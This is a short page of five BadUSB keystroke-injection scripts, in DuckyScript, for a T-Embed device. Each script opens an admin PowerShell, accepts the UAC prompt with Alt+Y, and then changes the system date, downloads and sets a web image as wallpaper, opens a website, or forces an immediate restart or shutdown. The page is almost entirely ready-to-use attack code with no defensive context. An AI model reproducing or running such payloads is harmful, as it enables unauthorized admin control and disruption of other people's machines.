T-Embed BadUSB Attacks

Script 1: Change Date and Time

DELAY 500
GUI r
DELAY 500
STRING powershell Start-Process powershell -Verb runAs
ENTER
DELAY 2000
ALT y
DELAY 500
STRING Set-Date -Date "12/31/2024 12:00:00 PM"
ENTER
STRING exit
ENTER
      

Script 2: Change Wallpaper

DELAY 500
GUI r
DELAY 500
STRING powershell Start-Process powershell -Verb runAs
ENTER
DELAY 2000
ALT y
DELAY 500
STRING Invoke-WebRequest -Uri 'https://placecats.com/1920/1080' -OutFile 'C:\wallpaper.jpg'
ENTER
DELAY 5000
STRING $wallpaper = "C:\wallpaper.jpg"; Add-Type -TypeDefinition 'using System; using System.Runtime.InteropServices; public class Wallpaper { [DllImport("user32.dll", CharSet = CharSet.Auto)] public static extern int SystemParametersInfo(int uAction, int uParam, string lpvParam, int fuWinIni); public static void SetWallpaper(string path) { SystemParametersInfo(20, 0, path, 0x01 | 0x02); }}'; [Wallpaper]::SetWallpaper($wallpaper)
ENTER
DELAY 1000
      

Script 3: Open Website

DELAY 1000
REM Open Run dialog
GUI r
DELAY 500
STRING powershell Start-Process powershell -Verb runAs
ENTER
DELAY 2000
ALT y
DELAY 1000
REM Open a website
STRING Start-Process "https://securetechware.com"
ENTER
      

Script 4: Restart System

DELAY 1000
REM Open Run dialog
GUI r
DELAY 500
STRING powershell Start-Process powershell -Verb runAs
ENTER
DELAY 2000
ALT y
DELAY 1000
REM Restart the computer
STRING Shutdown /r /t 0
ENTER
      

Script 5: Shutdown System

DELAY 1000
REM Open Run dialog
GUI r
DELAY 500
STRING powershell Start-Process powershell -Verb runAs
ENTER
DELAY 2000
ALT y
DELAY 1000
REM Shutdown the computer
STRING Shutdown /s /t 0
ENTER